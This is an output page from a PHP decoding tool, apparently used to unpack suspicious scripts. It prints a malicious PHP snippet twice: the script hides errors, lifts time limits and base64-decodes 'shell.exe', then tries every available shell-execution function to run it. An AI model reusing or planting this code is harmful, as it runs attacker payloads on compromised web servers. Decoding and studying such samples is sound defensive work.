Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /*<?php /**/ @error_reporting(0); @set_time_limit(0); @ignore_user_abort(1); @ini_se..
Decoded Output download
<?php /*<?php /**/ @error_reporting(0); @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); $uBnN=@ini_get('disable_functions'); if(!empty($uBnN)){ $uBnN=preg_replace('/[, ]+/', ',', $uBnN); $uBnN=explode(',', $uBnN); $uBnN=array_map('trim', $uBnN); }else{ $uBnN=array(); } $c = base64_decode("c2hlbGwuZXhl"); if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) { $c=$c." 2>&1
"; } $IghVGk='is_callable'; $XOlwTMn='in_array'; if($IghVGk('exec')and!$XOlwTMn('exec',$uBnN)){ $gbzj=array(); exec($c,$gbzj); $gbzj=join(chr(10),$gbzj).chr(10); }else if($IghVGk('system')and!$XOlwTMn('system',$uBnN)){ ob_start(); system($c); $gbzj=ob_get_contents(); ob_end_clean(); }else if($IghVGk('shell_exec')and!$XOlwTMn('shell_exec',$uBnN)){ $gbzj=shell_exec($c); }else if($IghVGk('passthru')and!$XOlwTMn('passthru',$uBnN)){ ob_start(); passthru($c); $gbzj=ob_get_contents(); ob_end_clean(); }else if($IghVGk('popen')and!$XOlwTMn('popen',$uBnN)){ $fp=popen($c,'r'); $gbzj=NULL; if(is_resource($fp)){ while(!feof($fp)){ $gbzj.=fread($fp,1024); } } @pclose($fp); }else if($IghVGk('proc_open')and!$XOlwTMn('proc_open',$uBnN)){ $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); $gbzj=NULL; while(!feof($pipes[1])){ $gbzj.=fread($pipes[1],1024); } @proc_close($handle); }else { $gbzj=0; } ?>
Did this file decode correctly?
Original Code
<?php /*<?php /**/ @error_reporting(0); @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); $uBnN=@ini_get('disable_functions'); if(!empty($uBnN)){ $uBnN=preg_replace('/[, ]+/', ',', $uBnN); $uBnN=explode(',', $uBnN); $uBnN=array_map('trim', $uBnN); }else{ $uBnN=array(); } $c = base64_decode("c2hlbGwuZXhl"); if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) { $c=$c." 2>&1\n"; } $IghVGk='is_callable'; $XOlwTMn='in_array'; if($IghVGk('exec')and!$XOlwTMn('exec',$uBnN)){ $gbzj=array(); exec($c,$gbzj); $gbzj=join(chr(10),$gbzj).chr(10); }else if($IghVGk('system')and!$XOlwTMn('system',$uBnN)){ ob_start(); system($c); $gbzj=ob_get_contents(); ob_end_clean(); }else if($IghVGk('shell_exec')and!$XOlwTMn('shell_exec',$uBnN)){ $gbzj=shell_exec($c); }else if($IghVGk('passthru')and!$XOlwTMn('passthru',$uBnN)){ ob_start(); passthru($c); $gbzj=ob_get_contents(); ob_end_clean(); }else if($IghVGk('popen')and!$XOlwTMn('popen',$uBnN)){ $fp=popen($c,'r'); $gbzj=NULL; if(is_resource($fp)){ while(!feof($fp)){ $gbzj.=fread($fp,1024); } } @pclose($fp); }else if($IghVGk('proc_open')and!$XOlwTMn('proc_open',$uBnN)){ $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); $gbzj=NULL; while(!feof($pipes[1])){ $gbzj.=fread($pipes[1],1024); } @proc_close($handle); }else { $gbzj=0; } ?>
Function Calls
| set_time_limit | 1 |
| error_reporting | 1 |
| ignore_user_abort | 1 |
Stats
| MD5 | 654ee581d480d5257ef267aaa376ecd1 |
| Eval Count | 0 |
| Decode Time | 97 ms |